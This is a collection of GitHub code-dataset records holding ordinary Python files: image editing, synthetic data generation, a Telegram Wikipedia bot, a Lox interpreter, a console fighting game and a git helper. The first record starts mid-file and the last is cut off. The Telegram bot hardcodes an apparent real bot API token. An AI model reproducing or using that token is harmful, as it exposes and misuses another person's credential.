RChannel, GChannel, BChannel = color\n\n img_org = cv2.imread(in_file_path)\n img_org_mask = remove(img_org, session=model_session, alpha_matting=False, only_mask=True,\n post_process_mask=True)\n\n img_scale_mask = zoom_mask(img_org_mask, zooming_factor)\n Img_overlay_mask = cv2.bitwise_xor(img_org_mask, img_scale_mask)\n\n img_blend_color = np.zeros([img_org.shape[0], img_org.shape[1], 3], dtype=np.uint8)\n img_blend_color[:, :] = [BChannel, GChannel, RChannel]\n\n img_blended = overlay_img(img_org, img_blend_color, Img_overlay_mask)\n\n if (visual_debug is True):\n cv2.imwrite(os.path.join('debug', 'd001_overlay_image.png'), img_blend_color)\n cv2.imwrite(os.path.join('debug', 'd002_unet2_mask_image.png'), img_org_mask)\n cv2.imwrite(os.path.join('debug', 'd003_unet2_mask_scaled_image.png'), img_scale_mask)\n cv2.imwrite(os.path.join('debug', 'd004_overlay_mask_image.png'), Img_overlay_mask)\n cv2.imwrite(os.path.join('debug', 'd005_overlay_image.png'), img_blended)\n\n cv2.imwrite(out_file_path, img_blended)\n\n\ndef add_img_stroke_with_bg(model_session: Any, in_file_path: str, bg_file_path: str,\n out_file_path: str,\n color: Union[List[int], Tuple[int, int, int]],\n zooming_factor: float) -> None:\n \"\"\"\n This utility function implements the outline stroking feature for any human and superimpose the stroked\n human with scenic (sort of) background image.\n\n :param model_session: The session that holds what unet2 familiy of the model to be used\n :type model_session: Any\n :param in_file_path: It is the input path of the file with human image to be processed\n :type in_file_path: str\n :param bg_file_path: This image path that holds the scenic (or some sort of) backgorund information\n :type bg_file_path: str\n :param out_file_path: It is the ouput path where the merged image has to be placed\n :type out_file_path: str\n :param color: This color indicated the color of the stroke area\n :type color: Union[List[int], Tuple[int, int, int]]\n :param zooming_factor: It is the scaling factor to determing the outline stroke thickness.\n Always use the value between 1.01 to 1.09\n :type zooming_factor: float\n \"\"\"\n global visual_debug\n\n RChannel, GChannel, BChannel = color\n\n img_org = cv2.imread(in_file_path)\n Img_org_mask = remove(img_org, session=model_session, alpha_matting=False, only_mask=True,\n post_process_mask=True)\n\n img_scale_mask = zoom_mask(Img_org_mask, zooming_factor)\n img_overlay_mask = cv2.bitwise_xor(Img_org_mask, img_scale_mask)\n\n img_blend_color = np.zeros([img_org.shape[0], img_org.shape[1], 3], dtype=np.uint8)\n img_blend_color[:, :] = [BChannel, GChannel, RChannel]\n\n img_bg = cv2.resize(cv2.imread(bg_file_path), (img_org.shape[1], img_org.shape[0]),\n interpolation=cv2.INTER_LINEAR)\n\n img_blended = overlay_img_with_bg(img_org, img_bg, img_blend_color, Img_org_mask, img_scale_mask, img_overlay_mask)\n\n if (visual_debug is True):\n cv2.imwrite(os.path.join('debug', 'd001_overlay_image.png'), img_blend_color)\n cv2.imwrite(os.path.join('debug', 'd002_unet2_mask_image.png'), Img_org_mask)\n cv2.imwrite(os.path.join('debug', 'd003_unet2_mask_scaled_image.png'), img_scale_mask)\n cv2.imwrite(os.path.join('debug', 'd004_stroke_mask_image.png'), img_overlay_mask)\n cv2.imwrite(os.path.join('debug', 'd005_overlay_image.png'), img_blended)\n\n cv2.imwrite(out_file_path, img_blended)\n","repo_name":"makemypoc/image-video-editing-utils","sub_path":"socialmediautils/stroke/stroke_img.py","file_name":"stroke_img.py","file_ext":"py","file_size_in_byte":10429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73453266753","text":"# -*- coding: utf-8 -*-\nimport click\nimport logging\nfrom pathlib import Path\nfrom dotenv import find_dotenv, load_dotenv\nimport numpy as np\nimport h5py\nfrom src.config.load_config import load_config\n\ndef generate_sinusoids(frequencies, amplitudes, phases, duration, fs, *args, **kwargs):\n t = (np.arange(duration)/fs)[None,:]\n sinusoids = amplitudes*np.sin(2*np.pi*frequencies*t + phases, dtype=np.float32)\n sinusoids = sinusoids.astype(np.float32)\n \n return t, sinusoids\n\n# we don't have a \"raw\" dataset pulled from somewhere, \n# rather we generate our own data.\ndef generate_random_sinusoids(seed=0, N=10000, fs=16000, duration=100, frequency_range=[320, 8000], amplitude_range=[0,10], phase_range=[-np.pi, np.pi], *args, **kwargs):\n \"\"\" Returns sinusoids.\n\n Generates sinusoids according to the configuration (with fixed sampling \n rate, length, random but choosable frequency, amplitude, phase)\n\n Args:\n seed (int, optional): Random generator seed. Defaults to 0.\n N (int, optional): [description]. Defaults to 10000.\n fs (int, optional): [description]. Defaults to 16000.\n duration (int, optional): Length of the sinusoid in samples. Defaults to 100.\n amplitude_range (list, optional): [description]. Defaults to [-10,10].\n phase_range (list, optional): [description]. Defaults to [-np.pi, np.pi].\n \"\"\"\n assert len(frequency_range) == 2\n assert len(amplitude_range) == 2\n assert len(phase_range) == 2\n assert frequency_range[1] >= frequency_range[0]\n assert amplitude_range[1] >= amplitude_range[0]\n assert phase_range[1] >= phase_range[0]\n\n def rescale_unif(arr, minimum, maximum, *args, **kwargs):\n mean = (minimum + maximum)/2\n scale = maximum - minimum\n return (arr - 1/2) * scale + mean\n\n rng = np.random.default_rng(seed)\n frequencies = rescale_unif(rng.random(size=N, dtype=np.float32), *frequency_range)[:,None]\n amplitudes = rescale_unif(rng.random(size=N, dtype=np.float32), *amplitude_range)[:,None]\n phases = rescale_unif(rng.random(size=N, dtype=np.float32), *phase_range)[:,None]\n \n _, sinusoids = generate_sinusoids(frequencies, amplitudes, phases, duration, fs)\n return sinusoids, frequencies, amplitudes, phases\n\n\n@click.command()\n@click.argument('generator_config_path', type=click.Path(exists=True))\n@click.argument('input_filepath', type=click.Path(exists=True))\n@click.argument('output_filepath', type=click.Path())\ndef main(generator_config_path, input_filepath, output_filepath):\n \"\"\" Runs data processing scripts to turn raw data from (../raw) into\n cleaned data ready to be analyzed (saved in ../processed).\n \"\"\"\n logger = logging.getLogger(__name__)\n logger.info('making final data set from raw data')\n\n # read generator config\n config = load_config(generator_config_path)\n\n sinusoids, frequencies, amplitudes, phases = generate_random_sinusoids(**config)\n\n # features file\n with h5py.File(Path(output_filepath) / 'X.hdf5', 'w') as X_file:\n X_file.create_dataset(\"sinusoids\", data=sinusoids)\n \n # labels file\n with h5py.File(Path(output_filepath) / 'y.hdf5', 'w') as y_file:\n y_file.create_dataset(\"frequencies\", data=frequencies)\n y_file.create_dataset(\"amplitudes\", data=amplitudes)\n y_file.create_dataset(\"phases\", data=phases)\n \n logger.info('completed generating N={} sinusoids, wrote to: {}'.format(len(sinusoids), output_filepath))\n \n\nif __name__ == '__main__':\n log_fmt = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n logging.basicConfig(level=logging.INFO, format=log_fmt)\n\n project_dir = Path(__file__).resolve().parents[2]\n\n # find .env automagically by walking up directories until it's found, then\n # load up the .env entries as environment variables\n load_dotenv(find_dotenv())\n\n main()\n","repo_name":"egaznep/toy_vae_example","sub_path":"src/data/make_dataset.py","file_name":"make_dataset.py","file_ext":"py","file_size_in_byte":3882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17250756454","text":"from unittest import mock\n\nfrom pearllib.pearlenv import PearlEnvironment\n\n\ndef create_pearl_home(tmp_path):\n home_dir = tmp_path / 'home'\n home_dir.mkdir(parents=True)\n pearl_conf = home_dir / 'pearl.conf'\n pearl_conf.touch()\n return home_dir\n\n\ndef create_pearl_env(home_dir, packages):\n pearl_env = mock.Mock(spec=PearlEnvironment)\n pearl_env.home = home_dir\n pearl_env.packages = packages\n return pearl_env\n","repo_name":"pearl-core/pearl-legacy","sub_path":"tests/test_pearllib/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11797332778","text":"from telegram.ext import Updater, MessageHandler, Filters\nfrom telegram.ext import CommandHandler\nimport wikipedia\nimport time as tm\nimport requests\nimport json\nfrom time import gmtime, strftime\nfrom telegram import ReplyKeyboardRemove, ReplyKeyboardMarkup\nfrom telegram.ext import ConversationHandler\n\ndef main():\n updater = Updater(\"593544737:AAHMZ1ytEyyU3cqnxwYFvl0zHwaqnMzZhko\")\n\n dp = updater.dispatcher\n\n conv_wiki = ConversationHandler(\n entry_points=[CommandHandler(\"start\", start)],\n\n states={\n 1: [MessageHandler(Filters.text, wikipod, pass_user_data=True)],\n\n },\n\n fallbacks=[CommandHandler('fgdfdfff', stop)]\n )\n dp.add_handler(conv_wiki)\n dp.add_handler(CommandHandler(\"start\", start))\n wikipedia.set_lang(\"ru\")\n updater.start_polling()\n updater.idle()\n\ndef start(bot, update):\n update.message.reply_text(\n \"Введите информацию\")\n return 1\n\ndef wikipod(bot ,updater, user_data):\n user_data['Information'] = updater.message.text\n try:\n ny = wikipedia.page(user_data['Information'])\n user_data['database'] = ny\n updater.message.reply_text(user_data['database'].title)\n try:\n bot.sendPhoto(\n updater.message.chat.id,\n user_data['database'].images[0]\n )\n updater.message.reply_text(wikipedia.summary(user_data['Information']))\n updater.message.reply_text(\"А вот ссылка на оригинал,там информации больше!\")\n updater.message.reply_text(user_data['database'].url)\n return 1\n except:\n updater.message.reply_text(wikipedia.summary(user_data['Information']))\n updater.message.reply_text(\"А вот ссылка на оригинал,там информации больше!\")\n updater.message.reply_text(user_data['database'].url)\n return 1\n except:\n updater.message.reply_text(\"Такую Информацию я не нашла!\")\n return 1\n\ndef stop(bot, update):\n update.message.reply_text(\n \"LDSGSLHJFHFD\")\n return ConversationHandler.END\n\nif __name__ == '__main__':\n\n main()\n","repo_name":"AzazerGod/aknalogia","sub_path":"progect.py","file_name":"progect.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26386020540","text":"import re\nimport scipy.stats as stats\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport json\nimport numpy as np\n\n\ndef normalize_histogram_vals(hist_vals):\n sample_amount = sum(hist_vals)\n for index in range(len(hist_vals)):\n hist_vals[index] = hist_vals[index] / sample_amount\n return hist_vals\n\n\ndef get_data_for_plot(descriptor: str):\n data_dict = pd.read_excel(\"filter2.xlsx\", None)\n column_name = descriptor\n df = data_dict[\"Sheet1\"]\n descriptor_data = df[column_name].values\n return descriptor_data\n\n\ndef total_plots_old(descriptor: str):\n data_dict = pd.read_excel(\"filter2.xlsx\", None)\n df = data_dict[\"Sheet1\"]\n descriptor_data = df[descriptor].tolist()\n\n class_names = [\"airplane\", \"ant\", \"armadillo\", \"bearing\", \"bird\", \"bust\", \"chair\", \"cup\", \"fish\", \"fourleg\",\n \"glasses\", \"hand\", \"human\", \"mech\", \"octopus\", \"plier\", \"table\", \"teddy\", \"vase\"]\n fig, axs = plt.subplots(4, 5)\n\n for row_index in range(1, len(descriptor_data)):\n row_df = df.iloc[[row_index]]\n class_name = row_df[\"shape_class\"].tolist()[0]\n class_index = class_names.index(class_name.lower())\n\n y = class_index % 5\n x = int((class_index - y) / 5)\n\n hist_values_cell = df.iloc[row_index][descriptor]\n # Somehow, it can only read the value in the Excel cell out as a string, so we use json to contert it back\n # into a list.\n hist_values = json.loads(hist_values_cell)\n density = stats.gaussian_kde(hist_values)\n n, p, _ = plt.hist(hist_values, histtype=u'step', density=True)\n axs[x, y].plot(p, density(p))\n\n axs[x, y].set_title(class_names[class_index])\n\n fig.tight_layout()\n plt.show()\n\n\ndef total_plots_new(descriptor: str):\n data_dict = pd.read_excel(\"descriptors.xlsx\", None)\n df = data_dict[\"Sheet1\"]\n descriptor_data = df[descriptor].tolist()\n\n class_names = [\"airplane\", \"ant\", \"armadillo\", \"bearing\", \"bird\", \"bust\", \"chair\", \"cup\", \"fish\", \"fourleg\",\n \"glasses\", \"hand\", \"human\", \"mech\", \"octopus\", \"plier\", \"table\", \"teddy\", \"vase\"]\n fig, axs = plt.subplots(4, 5)\n\n for row_index in range(1, len(descriptor_data)):\n row_df = df.iloc[[row_index]]\n class_name = row_df[\"shape_class\"].tolist()[0]\n class_index = class_names.index(class_name.lower())\n\n y = class_index % 5\n x = int((class_index - y) / 5)\n\n hist_values_cell = df.iloc[row_index][descriptor]\n # Somehow, it can only read the value in the Excel cell out as a string, which is a weird point separated\n # format, so I use regex to extract the numbers into a list.\n new = re.findall(\"\\d+\", hist_values_cell)\n plot_values = [int(x) for x in new]\n #plot_values = normalize_histogram_vals(plot_values)\n\n axs[x, y].plot(plot_values)\n #axs[x, y].set_xticks([2, 4, 6, 8, 10])\n axs[x, y].set_title(class_names[class_index])\n\n fig.tight_layout()\n\n plt.show()\n\n\n# MAIN\n# total_plots_new(\"a3\")\n# total_plots_new(\"d1\")\n# total_plots_new(\"d2\")\n# total_plots_new(\"d3\")\n# total_plots_new(\"d4\")\n","repo_name":"julisobi/multimedia_retrieval","sub_path":"property_descriptor_plots.py","file_name":"property_descriptor_plots.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12044785937","text":"# interpreter class for our lox language\n# implemented with the visitor pattern\nfrom lox.expr import *\nfrom lox.stmt import *\nfrom lox.environment import *\nfrom lox.visitor import Visitor\nfrom lox.token import LoxToken\nfrom lox.tokentype import TokensDic as tk\nfrom lox.callable import LoxCallable, LoxFunction, LoxClass\nfrom lox.instance import LoxInstance\nfrom lox.constants import LoxConstant\nfrom lox.error import OperandsError, InterpreterError, DivisionByZeroError, ReturnException, BreakException\nfrom lox.astprinter import PrinterVisitor\nfrom lox.native import Clock\nimport operator\n\n# Some python operator for all operations that do not require special process\nop_dic = {\n tk.GREATER: operator.gt,\n tk.GREATER_EQUAL: operator.ge,\n tk.LESS: operator.lt,\n tk.LESS_EQUAL: operator.le,\n tk.MINUS: operator.sub,\n tk.STAR: operator.mul,\n tk.SLASH: operator.truediv,\n tk.BANG_EQUAL: operator.ne,\n tk.EQUAL_EQUAL: operator.eq\n}\n\n\nclass Interpreter(Visitor):\n # Main environment\n global_env = Environment()\n locals = {}\n\n def __init__(self):\n self.current_env = self.global_env\n self.global_env.define(\"clock\", Clock())\n\n def istruthy(self, value: object) -> bool:\n # I add 0 as a False value (nostalgia)\n if value is None:\n return False\n if value is False:\n return False\n if value is 0:\n return False\n if type(value) is bool:\n return value\n # everything else is true\n return True\n\n def check_number_operand(self, op: LoxToken, number: object, optype: str):\n if isinstance(number, (int, float, complex)):\n return\n raise OperandsError(op, optype, number)\n\n def check_number_operands(self, op: LoxToken, left: object, right: object, optype: tuple):\n if isinstance(left, optype) and isinstance(right, optype):\n return\n raise OperandsError(op, optype, left, right)\n\n def check_division_by_zero(self, op: LoxToken, left: object, right: object):\n if right == 0:\n raise DivisionByZeroError(op)\n return\n #\n # -------------------------\n # Expression visitor method\n # -------------------------\n #\n\n def evaluate(self, expr: Expr) -> object:\n return expr.accept(self)\n\n def visitassign(self, expr: Assign) -> object:\n var_value = self.evaluate(expr.value)\n distance = 0\n if expr in self.locals:\n distance = self.locals[expr]\n if distance:\n self.current_env.assignat(distance, expr.name, var_value)\n else:\n self.global_env.assign(expr.name, var_value)\n return var_value\n\n def visitcall(self, expr: Call) -> object:\n callee = self.evaluate(expr.callee)\n resolved_args = []\n for arg in expr.arguments:\n resolved_args.append(self.evaluate(arg))\n if not isinstance(callee, LoxCallable):\n raise InterpreterError(expr.paren, \"can only call functions.\")\n if len(resolved_args) is not callee.arity():\n raise InterpreterError(expr.paren, \"expected \" +\n callee.arity() + \" arguments. \" + len(resolved_args) + \" were provided.\")\n try:\n return callee.call(self, resolved_args)\n except ReturnException as exc:\n return exc.value\n finally:\n pass\n\n def visitfunctionexp(self, expr: FunctionExp) -> object:\n # Create a callable function from the declaration\n return LoxFunction(None, expr, self.current_env)\n\n def visitget(self, expr: Get) -> object:\n getobj = self.evaluate(expr.getobject)\n if isinstance(getobj, LoxInstance):\n return getobj.get_property(expr.name)\n raise InterpreterError(\n expr.name, \"Properties are allowed on instances only.\")\n\n def visitset(self, expr: Set) -> object:\n setobj = self.evaluate(expr.setobject)\n if not isinstance(setobj, LoxInstance):\n raise InterpreterError(\n expr.name, \"Properties can only be set on instances.\")\n value = self.evaluate(expr.value)\n setobj.set_property(expr.name, value)\n\n def visitliteral(self, expr: Literal) -> object:\n return expr.value\n\n def visitlogical(self, expr: Logical) -> object:\n left = self.evaluate(expr.left)\n if expr.operator.type == tk.OR:\n if self.istruthy(left):\n return left\n else:\n if not self.istruthy(left):\n return left\n return self.evaluate(expr.right)\n\n def visitgrouping(self, expr: Grouping) -> object:\n return self.evaluate(expr.expr)\n\n def visitunary(self, expr: Unary) -> object:\n right = self.evaluate(expr.right)\n if expr.operator.type == tk.MINUS:\n self.check_number_operand(expr.operator, expr.operator.type, right)\n return -right\n elif expr.operator.type == tk.BANG:\n return not right\n\n def visitbinary(self, expr: Binary) -> object:\n right = self.evaluate(expr.right)\n left = self.evaluate(expr.left)\n op_type = expr.operator.type\n # Arithmetic operations\n if op_type == tk.MINUS:\n self.check_number_operands(\n expr.operator, left, right, (int, float, complex))\n return left - right\n elif op_type == tk.STAR:\n self.check_number_operands(\n expr.operator, left, right, (int, float, complex))\n return left * right\n elif op_type == tk.SLASH:\n self.check_number_operands(\n expr.operator, left, right, (int, float, complex))\n self.check_division_by_zero(expr.operator, left, right)\n return left / right\n elif op_type == tk.PLUS:\n # Just for learning purpose as Python would handle that\n if type(left) is str and type(right) is str:\n return left + right\n # Notice that the below test will work if right or left is True\n elif isinstance(left, (int, float)) and isinstance(right, (int, float)):\n return left + right\n # Mixed type\n elif type(left) is str and isinstance(right, (int, float)):\n return left + str(right)\n elif type(right) is str and isinstance(left, (int, float)):\n return str(left) + right\n # Comparison operators: python operator are matching lox requirements\n # Notice that we follow IEEE 754 with operator equal, as NaN != NaN in python\n # We diverge here a bit from the Java isequal\n elif op_type in (tk.GREATER, tk.GREATER_EQUAL, tk.LESS, tk.LESS_EQUAL, tk.BANG_EQUAL, tk.EQUAL_EQUAL):\n self.check_number_operands(\n expr.operator, left, right, (int, float, complex, str))\n operator_function = op_dic[op_type]\n return operator_function(left, right)\n # No matches\n return None\n\n def lookupvariable(self, name, expr):\n if expr in self.locals:\n return self.current_env.getat(self.locals[expr], name)\n else:\n return self.global_env.get(name)\n\n def visitvariable(self, expr: Variable) -> object:\n return self.lookupvariable(expr.name, expr)\n # return self.current_env.get(expr.name) -- removed for resolver\n\n def visitthis(self, expr: This) -> object:\n return self.lookupvariable(expr.keyword, expr)\n\n def visitsuper(self, expr: Super) -> object:\n \"\"\"Retrieve the super class method and bind the method to the instance\"\"\"\n distance = self.locals.get(expr, 0)\n superclass = self.current_env.getat(\n distance, tk.lexeme_from_type[tk.SUPER])\n # 'this' is always just below super env\n inst = self.current_env.getat(distance-1, tk.lexeme_from_type[tk.THIS])\n method = superclass.findmethod(expr.method)\n if method is not None:\n return method.bind(inst)\n else:\n raise InterpreterError(\n expr.name, \"Properties can only be set on instances.\")\n\n #\n # -------------------------\n # Statement visitor method\n # -------------------------\n #\n\n def visitblock(self, blockstmt: Block):\n self.executeblock(blockstmt.statements, Environment(self.current_env))\n\n def visitbreak(self, breakstmt: Break):\n raise BreakException(breakstmt.keyword)\n\n def visitclass(self, classstmt: Class):\n superclass = None\n if classstmt.superclass is not None:\n superclass = self.evaluate(classstmt.superclass)\n if not isinstance(superclass, LoxClass):\n raise InterpreterError(\n classstmt.name, \"Superclass must be a class.\")\n self.current_env.define(classstmt.name.lexeme, None)\n if superclass:\n self.current_env = Environment(self.current_env)\n self.current_env.define(tk.lexeme_from_type[tk.SUPER], superclass)\n methods = []\n for method in classstmt.methods:\n # fixme\n methods.append(LoxFunction(\n method.name, method, self.current_env))\n lxclass = LoxClass(classstmt.name.lexeme, superclass, methods)\n if superclass:\n self.current_env = self.current_env.enclosing\n self.current_env.assign(classstmt.name, lxclass)\n\n def visitexpression(self, expstmt: Expression):\n self.evaluate(expstmt.expression)\n\n def visitfunction(self, function: Function):\n # Create a callable function from the declaration\n callable = LoxFunction(\n function.funcexp.name, function.funcexp, self.current_env)\n # Put the callable in the environment: how simple, it seems !\n self.current_env.define(function.funcexp.name.lexeme, callable)\n\n def visitif(self, ifstmt: Stmt):\n if self.istruthy(self.evaluate(ifstmt.condition)):\n self.execute(ifstmt.thenbranch)\n else:\n if ifstmt.elsebranch is not None:\n self.execute(ifstmt.elsebranch)\n\n def visitprint(self, printstmt: Print):\n print(str(self.evaluate(printstmt.expression)))\n\n def visitreturn(self, returnstmt: Return):\n returnvalue = None\n if returnstmt.value is not None:\n returnvalue = self.evaluate(returnstmt.value)\n raise ReturnException(returnvalue)\n\n def visitvar(self, varstmt: Var):\n value = None\n if varstmt.initializer is not None:\n value = self.evaluate(varstmt.initializer)\n self.current_env.define(varstmt.name.lexeme, value)\n\n def visitwhile(self, whilestmt: While):\n try:\n while self.istruthy(self.evaluate(whilestmt.condition)):\n self.execute(whilestmt.body)\n except BreakException as exc:\n pass\n\n def execute(self, statement: Stmt):\n statement.accept(self)\n\n def resolve(self, expr: Expr, depth: int):\n self.locals[expr] = depth\n\n def executeblock(self, liststmt: List[Stmt], environment: Environment):\n # Create a new env for this block\n previous_env = self.current_env\n self.current_env = environment\n # Execute all the statements of the block in the new env\n try:\n for statement in liststmt:\n self.execute(statement)\n finally:\n self.current_env = previous_env\n\n def interpret(self, statements: List[Stmt]) -> object:\n try:\n astprinter = PrinterVisitor()\n for statement in statements:\n if statement is not None:\n # print(astprinter.print(statement))\n self.execute(statement)\n else:\n print(\"None statement, error detected.\")\n except InterpreterError as error:\n print(\"error: \", error)\n","repo_name":"marcjourneux/pylox","sub_path":"lox/interpreter.py","file_name":"interpreter.py","file_ext":"py","file_size_in_byte":11927,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"27102284145","text":"from time import *\nimport random\n\n# -----------------------------------------------------------------------------------------------------------------------------------------\n# Required\n# -----------------------------------------------------------------------------------------------------------------------------------------\n\n# Player variables\nplayer_health = 100\npl_cooldown = 0\n\n# Enemy variables\nai_name = \"Computer\"\nai_health = 100\nai_cooldown = 0\n\n# Weapons\nsword =[\"Sword\", 24, 85, \"Medium damage, fast.\"]\nclub = [\"Club\", 30, 70, \"Medium-high damage, medium speed\"]\nbow = [\"Bow\", 20, 90, \"Low-medium damage, very fast\"]\ndagger = [\"Dagger\", 15, 100, \"Low damage, extremely fast - sure to hit\"]\nmace = [\"Mace\", 38, 60, \"High damage, slow\"]\nfish = [\"Massive trout\", 46, 50, \"Massive damage, very slow\"]\n\nelixir = [\"Elixir of life\", -25, 100, \"Heals for a moderate amount of HP. Can only be used once every 3 player turns.\"]\n\nweapons = [sword, bow, club, dagger, mace, fish] # For random weapon choice\n\nclass Player:\n def __init__(self, name, health):\n self.name = name\n self.health = health\n\n def dmg_calc(self, wpn_stats, enemy):\n global pl_cooldown\n global ai_name\n dmg_value = float(wpn_stats[1]*random.uniform(0.9, 1.3))\n print(\"dmgvalue: \"+str(dmg_value))\n dmg_value = int(round(dmg_value))\n if random.randint(1, 100) <= wpn_stats[2]:\n if dmg_value > 0:\n print(\"\\n\"+enemy.name+\" attacks with \"+str(wpn_stats[0])+\"!\")\n self.health -= dmg_value\n print(self.name +\" took \"+str(dmg_value)+\" damage and now has \"+str(self.health)+\" health left.\")\n if enemy.name != ai_name:\n #print(\"cooldown -1\")\n pl_cooldown -= 1\n else:\n enemy.health -= dmg_value\n print(\"\\n\"+enemy.name+\" used \"+str(wpn_stats[0])+\"!\")\n print(enemy.name+\" healed for \"+str(-dmg_value)+\". They now have \"+str(enemy.health)+\"!\")\n if enemy.name != ai_name:\n #print(\"#cooldown +3\")\n pl_cooldown += 3\n else:\n print(enemy.name+ \" used \"+wpn_stats[0]+\", but missed! No damage.\")\n if enemy.name != ai_name:\n pl_cooldown -= 1\n\n def wpn_choice(self, wp_list, elixir):\n global pl_cooldown\n print(\"Choose your weapon!\")\n wp1 = random.choice(wp_list)\n while True:\n wp2 = random.choice(wp_list)\n if wp2 != wp1:\n break\n else:\n pass\n while True:\n wp3 = random.choice(wp_list)\n if wp3 == wp1:\n pass\n elif wp3 == wp2:\n pass\n else:\n break\n\n print(\"1: \"+wp1[0]+\" - \"+wp1[3]+\"\\n2: \"+wp2[0]+\" - \"+wp2[3]+\"\\n3: \"+wp3[0]+\" - \"+wp3[3])\n if pl_cooldown == 0:\n print(\"4: \"+elixir[0]+\" - \"+elixir[3])\n else:\n print(\"4: \"+elixir[0]+\" - On cooldown for another \"+str(pl_cooldown)+\" rounds.\")\n\n while True :\n wp_choice = input(\"Choice: \")\n #print(\"wpn choice = \"+wp_choice)\n if wp_choice == \"1\":\n return wp1\n elif wp_choice == \"2\":\n return wp2\n elif wp_choice == \"3\":\n return wp3\n elif wp_choice == \"4\":\n if pl_cooldown == 0:\n return elixir\n else:\n print(\"Can't use elixir for another \"+str(pl_cooldown)+\" rounds.\")\n else:\n print(\"Invalid input. Choose a number between 1 and 3.\")\n\n def ai_turn(self):\n global ai_cooldown\n if ai_cooldown > 0:\n ai_cooldown -= 1\n return random.choice(weapons)\n else:\n if self.health < player_health/2:\n if random.randint(1, 3):\n ai_cooldown += 3\n return elixir\n else:\n ai_cooldown -= 1\n return random.choice(weapons)\n elif self.health < player_health/4:\n ai_cooldown += 3\n return elixir\n else:\n if random.randint(1, 20) != 20:\n ai_cooldown -= 1\n return random.choice(weapons)\n else:\n ai_cooldown += 3\n return elixir\n# -----------------------------------------------------------------------------------------------------------------------------------------\n# Game system\n# -----------------------------------------------------------------------------------------------------------------------------------------\n\ndef play_round(player, enemy):\n if player.name == ai_name: # If player is computer\n print(\"\\n\"+player.name+\"'s turn!\\n\")\n sleep(2)\n print(\"You wait in anticipation for \"+player.name+\"'s attack.\")\n sleep(1.5)\n enemy.dmg_calc(player.ai_turn(), player)\n print(\"--------------------------------------------\")\n\n else: # If player is player lol\n print(\"\\n\"+player.name +\" : \"+str(player.health)+\" HP\")\n print(enemy.name +\" : \"+str(enemy.health)+\" HP\")\n print(\"\\n\"+player.name+\"'s turn!\\n\")\n sleep(2)\n enemy.dmg_calc(player.wpn_choice(weapons, elixir), player)\n\n# -----------------------------------------------------------------------------------------------------------------------------------------\n# Startup\n# -----------------------------------------------------------------------------------------------------------------------------------------\n\ndef game():\n plc = Player(input(\"What is your character called?: \"), player_health)\n ai = Player(ai_name, ai_health)\n global pl_cooldown\n global ai_cooldown\n\n # Round shuffling\n #round_count = 1\n print (\"---- ! GAME START ! ----\")\n while True:\n play_round(plc, ai)\n if ai.health <= 0:\n print(\"You won!\")\n break\n \n if pl_cooldown < 0:\n pl_cooldown = 0\n elif ai_cooldown < 0:\n ai_cooldown = 0\n #print(\"ai cooldown: \"+str(ai_cooldown))\n #print(\"pl cooldown: \"+str(pl_cooldown))\n\n play_round(ai, plc)\n if plc.health <= 0:\n print(\"You died.\")\n break\n if pl_cooldown < 0:\n pl_cooldown = 0\n elif ai_cooldown < 0:\n ai_cooldown = 0\n #print(\"ai cooldown: \"+str(ai_cooldown))\n #print(\"pl cooldown: \"+str(pl_cooldown))\n\nprint(\"Console Turn Based Fight\\n\")\nsleep(1)\ngame()\ninput()","repo_name":"bloohk/turn-based-fighter","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":6673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38634058599","text":"from math import factorial\nnbpetitpois=int(input())\ni=1\nwhile nbpetitpois//factorial(i)!=0:\n i+=1\nprint(i-1)\ni-=1\nCoef=[]\np=i\n\ndef findrest(x):\n global Coef\n for j in range(1,i):\n x%=factorial(p+1-j)\n \n x//=factorial(p-i+1)\n Coef.append(x)\n\n\nfor k in range(1,i+1):\n findrest(nbpetitpois)\n nbpetitpois-=Coef[k-1]*factorial(k)\n i-=1\nM=str()\nfor coef in Coef:\n coef=str(coef)\n M=M+coef+\" \"\n\nprint(M)\n","repo_name":"AnasTaherGit/France-ioi","sub_path":"Déblocage niv 4/Python/Déblocage niv 4 - Boîtes factorielles.py","file_name":"Déblocage niv 4 - Boîtes factorielles.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"74725150915","text":"#!/usr/bin/env python3\n\nimport os\nimport subprocess\nimport tabulate\nimport logging\nimport git\nimport sys\n\nimport glob\nfrom typing import List, Optional\n\n\nlogging.basicConfig()\n\nclass GitTTBException(Exception):\n def __init__(self, message):\n Exception.__init__(self, message)\n\n\nclass GitRepo(object):\n def __init__(self, ttb_file: str = 'temp.ttb',\n directory_name: str = 'temp_git',\n temp_user: str = \"github-actions\",\n temp_email: str = \"github-actions@github.com\"):\n self._root = os.getcwd()\n self._user = temp_user\n self._email = temp_email\n self._ttb_file = ttb_file\n self._dir_name = directory_name\n self._logger = logging.getLogger('TempGitRepo')\n self._logger.setLevel('INFO')\n\n def __enter__(self):\n self._logger.info(\"Initialising temporary Git repository '%s'\", self._dir_name)\n os.mkdir(self._dir_name)\n os.chdir(self._dir_name)\n subprocess.call(['git', 'init'],\n stdout=open(os.devnull, 'wb'))\n subprocess.call(['git', 'config', 'user.name', self._user],\n stdout=open(os.devnull, 'wb'))\n subprocess.call(['git', 'config', 'user.email', self._email],\n stdout=open(os.devnull, 'wb'))\n return self\n\n def __exit__(self, *args, **kwargs):\n self._logger.info(\"Closing Git repository and deleting.\")\n os.chdir(self._root)\n subprocess.call(['rm', '-rf', self._dir_name],\n stdout=open(os.devnull, 'wb'))\n\n def switch_branch(self, branch_name, new=False):\n self._logger.info(\"Switching to branch '%s'\", branch_name)\n _args = ['git', 'checkout']\n if 